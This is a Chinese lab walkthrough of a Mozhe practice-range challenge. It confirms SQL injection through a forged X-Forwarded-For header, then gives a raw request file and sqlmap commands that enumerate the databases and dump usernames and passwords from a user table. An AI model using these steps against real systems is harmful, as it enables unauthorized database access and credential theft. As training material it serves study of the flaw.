一、题目地址

  https://www.mozhe.cn/bug/detail/QWxmdFFhVURDay90L0wxdmJXSkl5Zz09bW96aGUmozhe

二、使用工具
  
  FireFox浏览器、SQLMAP 三、确认漏洞   题目说是X-Forwarded-For注入漏洞,先确认一下是不是   1. 随便输入账号密码后点击登录

  2. 返回结果

   弹窗有乱码,没关系,按F12打开调试窗口,在调试窗口中查看请求和响应

   3. 弹窗信息

   弹窗信息中告诉我,我的IP地址 27.17.120.22 被记录了,可能是记录到数据库中了,也就是将该IP写到了数据库中;竟然跟数据库有交互,那么可以猜

   想,此处可能存在SQL注入漏洞;接下来继续确认

   4. 服务端获取客户端IP地址的方式

   服务端获取客户端IP地址的方式,其中一种是通过读取请求中X-Forwarded-For的字段值,确认服务端是不是使用这种方式获取客户端IP地址;编辑刚才的

   请求,在请求头中加入X-Forwarded-For:111.23.21.23(这个是我们伪造的IP地址,随便填一个合法的IP地址即可),然后重新发送

   可以看到,之前随意填的X-Forwarded-For字段中的IP地址 111.23.21.23 已经被记录了,这就确认了服务端是通过读取X-Forwarded-For的字段值

   来获取客户端的IP地址的;下面直接用SQLMAP确认X-Forwarded-For存在SQL注入漏洞

 四、SQLMAP跑注入漏洞

   1. 将第二次登录请求的信息摘下来,新建成txt文件,这里我命名为x-forwarded-for.txt,并将x-forwarded-for的值改为*;文件内容如下所示:   

POST /index.php HTTP/1.1
Host: 219.153.49.228:48584
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Connection: keep-alive
Referer: http://219.153.49.228:48584/index.php
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
X-Forwarded-For:* username=fff&password=ddd

   2. 确认漏洞(命令:sqlmap.py -r x-forwarded-for.txt --batch(需要在x-forwarded-for.txt文件所在的目录中跑))

     

   3. 查询数据库(sqlmap.py -r x-forwarded-for.txt --batch --dbs)

     

   4、查询当前数据库库(sqlmap.py -r x-forwarded-for.txt --batch --current-db)

   5. 查询获取数据库中表(sqlmap.py -r x-forwarded-for.txt --batch --tables -D "webcalendar")

   6. 查询表的字段(以user为例:sqlmap.py -r x-forwarded-for.txt --batch --columns -T "user"  -D "webcalendar")

   7. 查询表的内容(以user为例:sqlmap.py -r x-forwarded-for.txt --batch --dump -C "id,username,password" --columns

            -T "user"  -D "webcalendar")

最新文章

  1. 纯WebApi,不包含MVC Demo
  2. jQuery属性/CSS使用例子
  3. MRDS学习四——自动型机器车
  4. canvas画简单电路图
  5. 学习Uml开始
  6. redis windows下的环境搭建
  7. SQL 分组查询 group by
  8. C#下调用C++ SDK的编码常识
  9. JSP注意点
  10. BeanDefinitionRegistry extends AliasRegistry
  11. Spring 3.x 实践 第一个例子(Spring 3.x 企业应用开发实战读书笔记第二章)
  12. 分页插件jquery.simplePagination.js使用
  13. 【MySQL】SQL语法,between and 使用注意事项
  14. Linux下的C程序如何调用系统命令,并获取系统的输出信息到C程序中
  15. SpringBoot之彩色输出
  16. emwin 存在多个窗口时,如何获取当前所在窗口
  17. Mysql连接查询、子查询、联合查询 整理
  18. How use Nmon and "Java Nmon Analyzer" for Monitor Linux Performance
  19. centOS7安装kafka和zookeeper
  20. centos7的安装主要步骤选择

热门文章

  1. PAT (Basic Level) Practice (中文)1023 组个最小数 (20 分) (排序)
  2. os常用讲解
  3. ELK学习实验015:日志的自定义index配置
  4. Ubuntu 18.04安装配置Apache Ant
  5. ubuntu 16.04.1上安装并使用vsftpd
  6. windows下安装配置subline+Markdown
  7. 申请一个美国paypal账户
  8. BandwagonHost VPS CentOS7系统启用EPEL源
  9. 【Python】圆周率的计算
  10. [CQOI2015] 网络吞吐量 - 最大流,最短路